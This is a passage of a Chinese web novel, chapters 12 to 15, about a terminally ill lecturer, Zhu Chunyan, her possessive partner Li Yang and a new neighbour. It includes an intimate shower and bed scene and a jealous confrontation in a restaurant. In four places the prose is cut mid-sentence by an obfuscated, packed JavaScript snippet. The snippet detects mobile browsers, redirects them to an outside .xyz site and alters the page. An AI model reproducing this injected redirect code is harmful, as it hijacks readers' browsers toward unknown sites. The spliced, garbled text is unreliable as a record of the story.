“……是这样么？”祝春宴微微晃了晃神，没想到居然会是这样的结果，她还是不死心：“你之前不是说不会停下研发罕见病这一块的？毕竟真的研发出来的话会造福很多只能等死的人，现在这是……” “噗——我的傻宴宴，那都是多少年前我说过的话了？你居然记到今天？我当时不知道赚钱艰难，而且也过分善良了，现在被磨练了好几年我知道什么是最重要的。” “而且你所说的那个项目已经投入了很多资金和资源去研发了，现在停止也算是仁至义尽，从头到尾都亏本且看不见希望的项目……何必在这里占据位置？” 黎漾好像听见了什么好笑的事情那般，“噗嗤”一声笑了出来，她见祝春宴真的不太懂商业这方面而且想法也真的是天真，便耐心解释：“你现在懂了么？” 祝春宴沉默了一会儿，她没看她，只觉与她交握在一起的双手逐渐变得冰冷，甚至让她感到有些恶心。 她花费了极大的力气才没有将自己的手给抽回来，与此同时，又是觉得自己内心有什么东西破碎了。 所有人都在前进，好像……只有她还留在原地，坚守着在现在的黎漾眼里看来可笑又幼稚的事情。 她闭了闭眼，内心一片混乱，身体发寒。 最终，她没有再和她谈论这个话题，这次谈话的结果她也不打算告诉傅意安。 从一开始就被宣判了死刑的人又何必再去挣扎？ 她叹口气，再也没有心情说话。 回到家之后，祝春宴还真的是看见不远处那栋以前没人的别墅里亮起了一盏又一盏的灯，便好奇问黎漾：“你知道你来了新的邻居么？” “知道，她是聂家的女儿名叫聂卿安，最近才搬来的，生意本身不是在这边的，也打算在这边发展。”黎漾提起聂卿安倒是没多少情绪，但是祝春宴了解她，能听得出她话里的一些不屑。 本来到了嘴边的“用不用去拜访一下对方打好一些关系”这样的话又是硬生生地咽了下去。 黎漾看见她手捧着一个包装精致的盒子但是具体看不出里面装的是什么，想起祝春宴今天说过要给她惊喜，她还是好奇问了一句：“小宴姐姐，这里面装的不会是……情趣内衣吧？” 祝春宴没想到她说得如此直白，心里微跳，下意识否认：“不是。” “那……你说要给我惊喜的，究竟是什么啊？”她伸手抚上她的脸，将她的脸拉近，近得几乎能亲上彼此的唇。 12. 第 12 章 · 祝春宴看着她近在咫尺的唇尽管心里没多少要亲她的意愿，但仍旧不愿意拂她的意，轻轻亲了亲她：“待会儿你就知道了。” 其实心里已经打定了主意不再进一步，因为毫无意思。 人说爱人如养花，她养了“黎漾”这朵花将近7年，逐渐地觉得力不从心，很多时候……她不能再自欺欺人。 等……7周年纪念日过完吧，她便主动离开，也没什么大不了的。 祝春宴心里冷静地想道。 * 她先收拾了衣服去洗澡，黎漾则还是要处理一些工作，回来之后没多久又忙去了。 浴室里热气氤氲，祝春宴喜欢冲很热的水，但今天实在是出现了太多的变故，她还是调低了一些水温，在花洒之下仔细按摩自己的左手。 现在已经不麻了，刚刚回来在车上的时候麻得要命还提不起一丝的力气，她实在是害怕了，害怕从此她的左手就无法动弹，害怕血肉萎缩，她要开始变成纸人。 但是，刚刚好像是她的错觉那般，歇了一会儿手也能动了，一切的一切像是幻觉和臆想，她出了一身的冷汗。 祝春宴已经搞不懂自己的身体了，左手的肌肉仍旧在无时无刻地跳动着，幸亏下午在医院的治疗应该还是有效的，她的肺部倒是没有多少动静，应该能克制住。 她按住自己的左臂，仰头闭眼，迎向花洒所洒下热水带来的热意，尽可能放松自己，驱逐恐惧。 说是不害怕是不可能的，有谁能不怕死呢？ “祝老师……你今天洗澡洗这么久……是不是故意等我啊？仰着脖颈这么涩，是不是特地等着我进来勾引我？” 祝春宴刚仰头想着事情，便察觉自己的后背覆上了一层温软与热意，脸颊也随即被若即若离地吻上，像是遇到了缺水的鱼儿，不断地向她索取，让她几近不能招架。 祝春宴回身搂住了她，她睁开了眼睛看向她，眼神有些锐利，与平时的温和如风并不一样，甚至带上了一丝侵略性。 黎漾心中猛然一跳，极少看见此等模样的祝春宴，尤其是在这样暧昧的情况之下她更加觉得非同一般。 不等她多想，甚至不等她多问一个字，祝春宴突然捏了她的双颊吻了上来，似带着什么宣泄以及自暴自弃那般，让她一下子软了心肠。 她和祝春宴不止一次有如此亲密的交流和接触，可……好像没有哪一次像是今天这般让人怦然心动，她看不透眼前的祝春宴，但不妨碍她享受她给她带来的愉悦感受。 她没有拒绝她这个近乎暴戾的吻，她越吻越动情，越吻越让她感到心跳失速，热水洒在她们的身上她想睁开眼睛看清楚她都困难。 她无疑是喜欢这样的祝春宴的，她不喜欢平时那样温吞无害的她，明明……她本来就不是这般模样。 在她面前……又是何须去装一些什么呢？ 祝春宴没有吻够，黎漾的脸几乎被她吻得变形，两人浑身湿透沾满了水珠，有一种别样的诱惑与张力，更别说二人现在还是坦诚相对的状态。 只可惜，彼此都看不见对方的心，更加猜不透对方的所思所想。 祝春宴叹一声，看着怀里伴侣迷离又肆意的眼神终归还是没能忍住，一把将她抱起往外走。 “诶，我还没有洗完澡呢！”黎漾伸手搂了她的脖颈，摁着她锁骨上鲜有人看见的一颗红痣，嗔道。 “做完再洗。”祝春宴脚步不停这般对她说道。 这般有些直白的话从祝春宴口中说出真的让人有些不自在，黎漾微微错愕地看着她，好像有些不明白为什么她突然抛弃了她这些年来的清规戒律，变得都有些疯狂起来。 她并没有因此被她迷惑，眼神也清明了几分，仰脸看向她，将她饱满的额头到澄澈的眼，再到挺翘的鼻梁，嫣红诱惑而不自知的唇全都看在眼里，最终还是没能看出一些什么来。 她的指尖划过她的锁骨，停在那颗红痣上，好奇问她：“是不是真的吃醋了？” 祝春宴蹙了蹙眉低头看她一眼，知道大小姐逗弄人的乐趣上来了，无意辩驳，轻轻“嗯”了一声。 “‘嗯’是什么意思？”黎漾不依不饶，下颌因此仰高了几分，似乎不满意她的回答：“好好给我回答。” 只是祝春宴已经不想再和她调情了，十分直白地将她摁到了软被上，顾不得两人身上依然湿漉漉的，低身覆了上去。 黎漾没想到她如此着急且不讲究，之前祝春宴可不会这般湿着身和她亲密，就算再冲动再亢奋都不会将床铺弄湿。 当然了，另外的情况那是另算。 现在的她，莫名让她感到陌生，尤其对着她这种沉默的兴奋的时候，她总觉得自己像是在面对一座不知何时会爆发的火山。 就只是……她的确还是让她很愉悦很放松很恣意这倒也是真的。 四肢纠缠，她的双手也被她缠得紧紧的，明明都是深秋时节了，两人身上还是热出了一身薄汗来，她们彼此之间都像是对方的掠夺者，谁也不肯退让半步。 直至最后还是祝春宴略胜一筹将她牢牢钉在软被上，十指紧扣，让她不得动弹。 一滴汗从她的鼻尖落下滴落至黎漾瓷白的锁骨上，莫名色气。 黎漾呼吸不如之前平稳，鼻翼轻轻翕动，颇有些惊疑不定地看着头顶上的人，好像是第一次认识她那般，不太明白她今晚怎么如此疯狂。 她动了动自己的手腕感觉她攥得也特别紧让她莫名心慌，轻轻唤了她一声：“小宴姐姐？” “不喜欢我这样么？”祝春宴并没有觉得自己的心情平静下来，反倒是偏了偏头这般问她。 “……你今晚好像有些疯，而且，你不是说给我惊喜么？惊喜呢？”她四下梭巡，却是发现那个包装精致的盒子不见了，真教人心痒。 “现在还不够惊喜么？”祝春宴又是低下头去吻了吻她的唇角，看着怀里之人满身的红痕和暧昧，不避不让，那眼神锐利得让黎漾莫名泛出耻意。 “我想知道你原来给我的惊喜是什么。”她扯过一旁的被子盖自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262410|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上，露出白皙微湿的肩膀，欲盖弥彰。 “贪得无厌。”祝春宴自然没有告诉她，掀了她的被子重新抱起她去浴室，帮她仔细沐浴。 不得不说，祝春宴真的是一个好好情人，什么时候都体贴到位，虽然今晚的确是疯了些甚至让她莫名害怕，但是平静下来之后又是让人心安的女朋友。 她在她怀里累得直接睡了过去，喃喃呓语的时候仍旧念叨着那还未知道的惊喜，让祝春宴失笑。 她帮黎漾洗干净之后在浴缸之中很是歇了一会儿按了按左手才重新抱她出去，帮她擦干净头发做好面部护理，什么都妥善照顾好了才停下了手。 看着她熟睡时静谧的面容心里莫名空落。 仿佛在黎漾这里失去了她的一席之位。 她刹那平静下来，明白这里不是她长久的避风港，该要离开的时候还是要下定决心离开。 不能有丝毫犹豫。 祝春宴知道自己时日无多，静静地看着这个她住了五年多的地方，有一种恍如隔世的荒诞之感。 虽然舍不得，可她不敢流露出任何的不舍。 她摸了摸梳妆台，她们的梳妆台很大，她不太喜欢打扮，还是黎漾非要按着她好好打扮，给她化各种妆容也会给她准备各种衣服。 她都怀疑她对她打扮上瘾了，她穿什么、化什么妆她都觉得她好看。 祝春宴唇角掀起了些弧度，回想起这些往事的时候觉得好像太过久远了，久到……仿佛从来没发生过一样。 她的笑容缓慢落了下来，披了浴袍拿了手包坐到了阳台上，按开夜灯，静静地点燃了一根味道辛辣的香烟。 很早之前……黎漾是抽烟的，她玩得花，对什么都感兴趣，其中就包括香烟和美酒。 只是这两样祝春宴都不喜欢，当时刚上大学黎漾依然追求她，祝春宴其实有些动摇了，但她和黎漾的大学虽然在同一座城市，却相隔甚远，想要见上一面也难。 这和异地恋真的没什么分别。 更何况，她要勤工俭学，她的阿姨病了太久了，所有积蓄都用尽，她想继续读书的话只能自己赚钱了。 这不是一件容易的事情。 所以面对黎漾的追求她还是退缩了，更何况她身上的确满是她所不能接受的特质，抽烟、喝酒、逛夜店，甚至文身……她们真的是完全不同世界的两个人。 后来被黎漾缠得的确有些躲不过了，她才近乎苛刻地提出自己的要求，如果她能在两个月内戒掉烟和酒，少逛夜店之类的，或许她能考虑。 祝春宴不是喜欢强人所难的人，她只希望她打退堂鼓，正视她们之间的关系。 然而，黎漾始终是倔强的，2个月之内真的戒掉了烟和酒，再次提出要和她在一起。 所以……又是什么而让她们之间有了今天这样不可逾越的裂痕呢？ 祝春宴看着黑暗中燃烧着的细长香烟，陷入了沉思。 而她不知道的是，在她沉思的时候对面也有人静静地看着她，同享一轮月。 13. 第 13 章 · 祝春宴自然没有抽烟习惯，但是她习惯性带一盒女士香烟到身上，偶尔黎漾还是会抽一支。 此时此刻夜深人静，又是激情过后，她更多的还是想看香烟静静燃烧，尼古丁的镇静作用。 “咳咳……” 只是她的肺始终是不好的，安静地看了一会儿之后还是摁灭，掏出一些药来就着温水吃了。 偷偷摸摸的。 回头去看黎漾，依然在床上恬静地入眠，似乎又是回到了学生时代。 祝春宴静静地看了她一会儿然后收回视线，摊开自己的日记本在上面记录一些事情。 从一定程度上来说她的确是一个很古板的人，还很念旧，现在信息化爆炸的时代……谁又会去写日记？只是，这算是她为数不多对自己的爸妈有着温馨回忆的时刻了。 她愿意延续这份温馨。 钢笔在纸上唰唰作响，祝春宴逐渐感觉自己的心情平静下来，她开始将今天的一些事情记录下来，并且写了一些愿景。 灯光忽明忽暗，夜里风也的确大了，她咳了几声，突然抬头看见对面不远处的那栋别墅二楼阳台也亮起了一盏灯。 有一名身形单薄只穿着睡衣的年轻女人站在露台上，似乎捧了一杯酒静静地看着她。 或许不是在看她而是在看别的，祝春宴还是浅浅颔首和她打了个招呼。 她认得出这是今天上午下山时候她在路上碰见的那个女孩，黎漾的新邻居。 只是对方……脸色看着比她还苍白的情况下还喝酒？还吹风？ 祝春宴不是很赞同。 不过，短暂地打了招呼之后，那女孩似乎不想和她有太多的交集，回身一闪消失了身影。 ……她被讨厌了么？ 祝春宴叹一声。 …… 虽然算是留职了，但是她还是极大地忙碌起来，甚至是比之前还要忙碌一些。 毕竟要做各种交接，而且这个学期其实也没多久了，再找新的老师去接手大学的课程也不现实。 只是她担心自己的身体随时都会恶化，所以还是让尽快安排新的老师。 有个别学生不知道从哪里探听到她病了，下课之后还是过来小心翼翼地问候。 祝春宴知道他们应该没有坏心，但是她并不想让自己生病的事情弄得街知巷闻，到最后传到黎漾那里就得不偿失了。 她温和地对她的学生说：“没有这回事，课还是要上的，期末论文还是要交的，安心回去上课好了。” 她的学生有些聪明的已经想到传言是真的了，有些不够聪明的还想继续问祝春宴，只是被别的学生给扯走了。 祝春宴看着其实真的不像是生病的模样，可是谁知道呢？ 下课之后祝春宴独自一人开车去了附近最大的文具批发城去买自己需要的一些东西，应该还需要定做一些。 昨天她的左手明明还开始麻痹了，但是今天好像还好，除了肌肉还在不断跳动之外其他的一切如常。 她觉得自己昨天是不是出现幻觉了。 总之，现在还能开车的话其他的事情她就先不管了。 极光之旅应该要搁置了，但是她并不想她和黎漾之间的七周年纪念日就这么糊里糊涂地过去。 这是她最后一次和她过纪念日了。 而且看黎漾短期之内没办法请长假陪她，所以……计较下来只能给她送一些礼物了。 祝春宴其实觉得非常遗憾的，但是现在并没有多少办法，而且……人生遗憾的事情多了去了，总不能因为有遗憾而一直让自己陷入负面的情绪中，这对她的病情也是非常不利的。 她还想多活几天呢。 她想给黎漾送一份手账。这一份手账算是对她们过去七年来的一些总结以及对她未来的祝福，除此之外，自然还会给她送一些别的礼物。 只是她在想黎漾之后肯定要和别人联姻的，虽则这样的商业联姻可能双方都没有什么真心，可她觉得……没多少人能抵挡黎漾的魅力。 她喜欢了这么久的人自然是好的，也因此祝春宴在想，自己还是不要送那些太过贵重的东西，更加不能让她睹物思人，给她做一顿好吃的或是去哪里玩儿一下就足够了。 她想得非常周到，心里也有一个计划逐渐形成，希望能没多少遗憾地度过这一天吧。 祝春宴从批发城里买完所需要的东西之后已经是下午了，有些肚子饿，去了附近的餐厅叫了一份轻食。 只是在取回餐食回到自己座位的时候，坐在她不远处的一个女孩突然晃了几晃，再而后直直地朝着地上倒去，让祝春宴吓了一跳。 她几乎是想也不想便过去将对方接住免了她一次无妄之灾。 “你没事吧？是低血糖犯了还是？”祝春宴担心问道，已经将自己点的那杯牛奶先让她喝一口了。 “我……没事，谢谢。” “那你还是多喝几口。”祝春宴并不怎么相信她的话，主要是她的脸色看起来实在是太苍白了，或许她本身也是病人，所以对方身体好不好她能有微妙的感应。 “谢谢。”女孩没有拒绝，身上似乎也没多少力气，还是就着祝春宴的手去喝她手上的牛奶。 祝春宴很有耐心，等她回过一口气来才让她自己拿着。 “谢谢……”女孩后知后觉地感到羞赧，微微红了脸对她说道，就连握住牛奶的指尖都是苍白的。 “你是不是叫‘聂卿安’？”祝春宴自然认得她，想了想，还是没必要当作不认识，毕竟她是黎漾的邻居，抬头不见低头见的，认识一下还是好的。 祝春宴跟着她小姨一家生活多年，深谙邻里相处之道，能交好的自然不会交恶，即使黎漾听着对聂卿安似乎微微不屑。 “你……你怎么知道的？”聂卿安没想到她会记得自己的名字，微微睁大眼睛看向她，十分惊讶。 “聂小姐，我们之间已经见过四次了，连同这一次的话。”祝春宴微微勾了唇对她说道。 “……你记性还真好。”聂卿安似乎有些害羞，没有否认她的话。 “你自己一个人在这里么？”祝春宴觉得不应该？ “嘘——我是暂时逃出来透透气的，你别太大声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262411|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”聂卿安伸出食指压了压她的唇，有些紧张。 祝春宴被她逗笑，往后退了点避开她的触碰，聂卿安收回手指，意识到自己刚刚的反应有些大而且动作还不是很妥，脸上发热，几乎都要将自己的脸埋到围巾里了，“对不起。” “对不起什么？”祝春宴眨了眨眼睛，故意逗她。 “刚刚……对不起。”看得出来聂卿安是一个较真又害怕给人麻烦的人，几乎想也不想便对祝春宴道歉。 “现在你觉得好点了么？”祝春宴自然没和她纠结这个问题，而是关切问道。 “……你要离开了么？”聂卿安莫名舍不得她，有些紧张地问道。 “还有些时间可以陪你一下。”祝春宴看得出她有些孤独，语气也柔软下来，这般对她说道。 “那……那就麻烦了。”聂卿安这才露出一个笑，身体也稍微放松下来。 “你叫了东西吃么？”祝春宴见她面前的桌子空空的，有些好奇问道。 “……还没有。”聂卿安觉得自己的脸又要红起来了，嗫喏说道，似是十分不好意思。 “你先吃我的这份，我再去买一份。”祝春宴自然不可能让她去买，主动将自己的那份餐食给了她，然后她再去买一份新的。 聂卿安本来说不用，可祝春宴根本不给她拒绝的机会，她转头去看她，眼里有动容。 祝春宴很快就将餐食买回来，看见她并没有吃，好奇：“不喜欢？” “不是……等你一起吃。”聂卿安小声对她说道。 “看来那杯牛奶还挺有用。”祝春宴自然不会指责她或是教训她，而是和她半开了一个玩笑。 聂卿安这才稍微松了一口气，唇边勾起了一点弧度。 两人开始用餐了，祝春宴吃东西的时候不怎么喜欢说话，聂卿安分明也是这般，静静地吃着，偶尔侧头看祝春宴一眼，有些开心。 歇了一会儿，祝春宴的手机屏幕亮了打破两人静谧又和谐的氛围，她解锁看了一眼见是黎漾给她发来信息，大意是晚上空出来，她带她回黎家老宅吃饭。 祝春宴看着她这条信息好一会儿才发了一个“好”字过去，连原本觉得很好吃的简餐都没了味道。 “你是不是有什么事情要忙？”聂卿安对人的情绪很敏感，祝春宴从看手机之后就不太对劲，虽然什么都没有说，可她还是察觉出了一些不妥。 “嗯，的确还是有些事情要忙。”祝春宴不想自己的恶劣情绪影响到聂卿安，还是对她扯出一个笑。 “是不是有关你女朋友黎漾的？”聂卿安想了想还是将自己的猜测给说出来。 祝春宴对她知道黎漾这件事情并不奇怪，毕竟黎漾也知道她，但是她不想对别人说那么多关于她和黎漾之间的事情，便跳过她的问题没说话，而是和她聊起一些别的。 聂卿安顿觉自己说错了话，局促起来，但祝春宴真的是掌握情绪和聊天技巧的高手，三言两语就化解了她的忧虑，甚至逗得她高兴地笑了起来。 黎漾来到这里接祝春宴看见的就是眼前这么一副刺眼的情景，心情骤然烦躁起来。 14. 第 14 章 · 认识祝春宴这么久，黎漾不是不知道祝春宴受欢迎的程度。 她是高二转学过来的，明明和她们所在的私立学校格格不入，即使穿着最昂贵的校服，可她身上拒人于千里、遗世而独立的气质太过独特。 更别说她脚上所穿的运动鞋……都不知道被她擦了多少遍、洗过多少遍，鞋带都裂开了花的。 人都是一种很奇怪的物种，私立学校里的学生嗅觉敏锐，顿觉这个新来的转学生和他们就不是一路人，而且，摆着一副臭脸是给谁看呢？ 他们很多人从一开始就若有似无地孤立她。 但也有很多同学在探听出她的来历和考进来的成绩之后，赫然对她刮目相看，甚至对她产生了一些说不清道不明的崇拜。 黎漾属于对她是那种一见钟情的类型。 当然了，她不否认自己花心，不过她无心在上学时候谈恋爱，加上父母对她管得严，上流社会的圈子就那么一点儿大，她如果和谁走得稍微近一些，没几天她的父母就会发现。 总而言之，十分麻烦。 不过，不谈恋爱不代表她就不能和喜欢的人保持暧昧关系，她其实也算是挺有原则的，如果喜欢这个的话那绝不会同时一脚踏几船，而是会专注一个。 等这个腻了她才会和下一个，日子虽然无聊但还算充实。 祝春宴的到来完全打破她固有的生活。 她本来并没有注意到祝春宴的，她当天来班级报道的时候她因为前一晚通宵玩游戏以至于毫无精神趴在桌子上睡觉。 也是她当时的同桌在祝春宴出现的瞬间几乎发狂似地推她的肩膀让她起来。 刚开始祝春宴其实还不知道具体会去哪个班级——当然了，这是因为她太过优秀了，考进来的时候总分成绩比他们当时的年级第一还高上了50分。 这么厉害的学生那肯定每个班都想要的，争抢到最后就只剩下她所在的班级和隔壁班在做最后的竞争。 而被争抢的对象祝春宴并不知情，被叫到他们班来，还没有进门口仅仅是背着半新不旧的书包随意站着便已经吸人眼球。 班里的议论声也逐渐大起来，扰得黎漾连起床气都没有了，从混沌的状态中醒来看向门外—— 恰好看见祝春宴对着他们班主任腼腆一笑的模样。 她该要去怎么样形容当时看见她这一抹浅显到甚至连弧度都不明显的笑容呢？ 像是她那一年去北欧过寒假在中午起来，看见落了一整晚大雪骤然降温的窗外冰湖上不知何时在湖底绽放出了一朵又一朵的冰花。 一些雪絮从树上飘落，洋洋洒洒地落在剔透的湖面之上，仿佛怕惊扰了湖底之下沉睡的它们。 她那抹稍纵即逝的笑容只会让人想到净化心灵的澄静，全身心浸入其中。 喜欢上祝春宴真的是一件很容易的事情。 只可惜的是她不是一个爱笑的人，更多时候是对于学业的认真和一丝不苟，即使解出最难解的答案她都不会骄傲半分，而只是会拧拧眉继续做下一题。 明明她不是没遇见过成绩好的人，也不是没见过她这样孤清的人，但是她还是被她吸引了，无法抵挡。 少女时候的黎漾试图去解构自己当时的心思，为什么非要一头栽进这个名为“祝春宴”的陷阱里，然后，直至现在都出不来。 出来工作之后加上她有意约束和限制祝春宴和别的人的交往，所以……她其实很久没见到祝春宴和别人如此相谈甚欢了。 是她这段时间对她的关注……太过宽松了么？以至于她都认为她可以随意去交朋友了？ 黎漾看着她们有说有笑完全沉浸在自己世界里的模样，面色彻底沉了下来，尤其聂卿安还一副可怜又害羞的模样看着祝春宴更加让她觉得不喜。 “春宴，原来你在这里——” 只是她再不喜也不会像是泼妇那般骂街，而是先在门口处叫了祝春宴一声，自然比平时缠绵且要多了几分嗔软，让两人的笑容一顿。 刚刚那阵旖旎、沉醉其中的氛围骤然消散。 黎漾看着聂卿安脸上的笑容僵住了这才觉得心情舒坦了点，来到祝春宴身边右手搭上她的肩膀，动作不掩亲昵，离她也是极近，是非常彰示占有欲的动作。 聂卿安一看她的动作便知道她是什么意思了，心里莫名紧张，她不经意攥紧了自己的手，小声向黎漾打招呼：“小黎总。” “我知道你是聂家的，但我好像并没有听过聂家出了一位喜欢觊觎别人女朋友的？”黎漾对她可没有好脸色，语气讽刺微微冷笑着说道。 “我……” “漾漾。”祝春宴知道她又要作妖了，打断了聂卿安的话，也沉了语气对黎漾说道。 “怎么啦？我一下班就赶过来载你回我家老宅吃饭，我看见你和别人有说有笑的彻底忘记时间连我来到这里找你都不知道，我还不能说几句了？” 祝春宴不阻止她还好，一对聂卿安护上她的脾气也上来了，极其讽刺又有些委屈地对她说道。 “对不起，是我的错。”祝春宴似乎有些厌倦这样的拉扯和相处模式，她也没想到她会直接进来找她，毕竟她的时间也算十分宝贵。 现在再继续这样扯下去……三个人都会不好过。 “祝……祝小姐……”聂卿安没想到祝春宴连辩驳都不辩驳一下就这般向黎漾道歉，明明……她根本就没有做错什么事。 “哦？看来你很心疼我女朋友向我道歉？” 黎漾自然能听出聂卿安不舍得祝春宴这般毫无条件地向她低头，但是，她和祝春宴快七年的感情，又怎么会是聂卿安这种只和她认识了那么一会儿的交情所能置喙的？ 她觉得实在是可笑至极，心里也是更加厌恶她。 “可是……她根本就没有……” “聂小姐，你有人来接你么？还是……接下来要去哪里？”祝春宴再次打断她的话，微不可察地对她摇了摇头，示意她不需要为她出头。 这么多年了，黎漾是什么样的人……她其实比任何人都清楚，反正她习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262412|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯了，而且，只要不伤害到别人这都是无伤大雅的事情，她不觉得要忤逆黎漾的意思。 反倒是聂卿安没必要在今天这件事情上过不去。 “我……他们快来了，待会儿我会直接回家，你不必担心我。” 聂卿安自知自己无法去改变一些什么，她的家族虽然是别的城市来的，却也是有听过黎漾的声名，知道她的确不好惹。 偏偏很多人对她趋之若鹜，她自然无法和她比，平日里很多不会与她有太多交集，就只是……这连日来仅有的一些快乐又要失去了。 “好，那我们先走了。”祝春宴听了她的安排觉得没太大问题，这里人流量这么大，她又吃饱的情况下不会出太大问题。 她知道自己继续留在这里肯定会让骂战升级，趁着黎漾脾气还没有完全上来自然快点带着她离开，免生枝节。 说着还是和她打了个招呼便带着黎漾离开了。 黎漾其实更生气的不是看见聂卿安，而是祝春宴从头到尾都在帮着聂卿安，一副当她是恶人的模样。 明明……明明是她对不起她的，怎么反过来还怪她？ 从餐厅出来之后她气极了甩开了祝春宴的手开始快步往前走，似乎一刻都不想和她呆在一起了。 祝春宴知道她又在闹脾气了，只是这一次……她好像有些厌倦了，不怎么想去哄她。 她只是见对方身体不舒服帮忙一下和她聊了几句而已，其他什么事情都没有做，用得着这么大反应？ 明明……她也有交朋友的权利的。 祝春宴在高中、大学乃至出来工作之后都是有不少的朋友的，她说黎漾人缘好其实她又何尝不是？ 只是她和黎漾人缘好的原因并不一样，黎漾不喜欢她有这么多朋友便是了。 现在工作上和医院里认识的，加上一些高中时期的同学……已经算是她所有的朋友了。 除此之外，她的圈子空白一片，好像除了工作之外就只有黎漾了。 这样的人生当真乏味。 “祝春宴！你怎么还不来哄我？是不是笃定我不会真的对你生气？！” 黎漾走了不长的一段路发现祝春宴并没有追上来而是远远地落后在后面不知道在做着一些什么，气得她都想打她。 “刚刚不是对你道歉了？”祝春宴突然觉得疲惫，可她一想到病魔最容易侵蚀没有求生意志的人，她又立即清醒过来，来到她身边对她说道。 “你是为了她而向我道歉的，而不是真诚向我道歉。”黎漾特别生气地说道。 “工作了一天你难道不累么？与其生一个不相干的人的气倒不如开开心心的？”祝春宴轻轻撞了一下她的肩膀，有哄她的意味。 “她看你的眼神并不清白，才不是毫不相干的人。”黎漾没被她哄到，相反地，越说越气，忍不住伸手去揉祝春宴的脸，想要在她身上出气。 然而祝春宴出来之后似被这冷风一吹……冷气渗入肺腑，让她无可抑制地掩着唇咳嗽起来，铁锈味又是蔓延口腔—— 15. 第 15 章 · 深秋的天气变化真的太大了，让人防不胜防，以至于稍微一阵冷风吹过就让祝春宴感到难受，难以忍耐。 身体免疫力真的下降了不少，但是顾及着黎漾还在自己身边，这个病虽然没有传染性，她还是不太想让黎漾担心她继而引起怀疑。 她竭力忍住咳意和喉间上涌不断的铁锈味，看着黎漾气鼓鼓的表情不知怎的又是想到了从前，她吃醋的时候也是这样的。 黎漾看着好像真的是一点儿都没有变，但是其实变了太多太多。 在彼此都变得彻底陌生之前还是好聚好散吧。 “小黎总，你的员工和下属知道你私底下有这样的一面么？”祝春宴没回应她刚刚的话，而是这般问道。 “好啊你个祝老师用我的员工和下属来威胁我，真的是让人讨厌。” 黎漾自然能听得出这其中的打趣，有些恼，捶了她一下，又是提出自己的要求：“你没加她吧？以后不要和她再有交集了。” 又是这样。 祝春宴好像都有些习以为常了，更觉疲惫，她沉默地点了点头，“知道了。” 黎漾这几年来对待这种蓄意接近祝春宴于心不良的人都是这般做法，她没觉得自己有什么做得是不对的，也没察觉出祝春宴的情绪低落，只继续说道：“我知道你心里肯定又觉得我霸道，可是聂家……最好还是别去触碰。” “嗯，都听小黎总的。”祝春宴这般可有可无地说道，已然认命。 一直到到达黎家老宅之后她都没有笑过。 而黎漾一如既往忙碌，刚上车公司就来了急事，拿出平板便开始工作了，哪里有时间去理会祝春宴？ 这期间还接到了一个电话，由于两人离得近祝春宴还是能听见黎漾和另外的人的对话，打电话给黎漾的不是谁正是程素熙。 黎漾接到程素熙的电话时脸上立即多了点笑容，和面对她的时候截然不同的态度，脸上的笑容也甜美了不少。 祝春宴觉得自己的心口又是有些滞闷了，她不想和黎漾争吵是一回事，但是，她的确不喜欢黎漾这般和别人关系密切。 尤其想到……以后她很可能还要和对方结婚更是一阵气闷。 可是……她又能改变一些什么呢？她什么都无法改变，如果她的身体健康点……那起码她还有争取的机会。 毕竟这些年来她一直都是以这个目标作为自己努力的方向的，现在这么一个噩耗已然磨灭了她的斗志。 她无法那般自私地将黎漾给扯下水。 人说“久病床前无孝子”，情侣之间……爱人之间又何尝不是这般？她并不想将好好的黎漾给逼疯了。 所以……在合适的时机她还是将她放开吧。 她侧过头去闷咳了几声，压抑着，并没有引起黎漾的注意，她许是和对方聊得太入迷了。 她艰难地咽下了一口血，侧头看着窗外，昏昏沉沉地。 好不容易到了黎家老宅，黎漾才堪堪和程素熙聊完，唇边笑容还意犹未尽的，让祝春宴不敢多看她一眼。 现在……能让她开心的人快要取代她的位置了。 “是程素熙给我打电话，聊了一些城南那块地规划的问题，”黎漾察觉出自己和对方说话的时间也有些久，这般忽略了祝春宴的确不太好，也便主动告诉她，她微微靠近她仔细端详她的表情：“祝老师不会不高兴的吧？” “那块地你争取了很久的，自然是做生意更重要点。”祝春宴对上她的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262413|182117||http|test|mini|href|location''.split(''|''),0,{})); () { 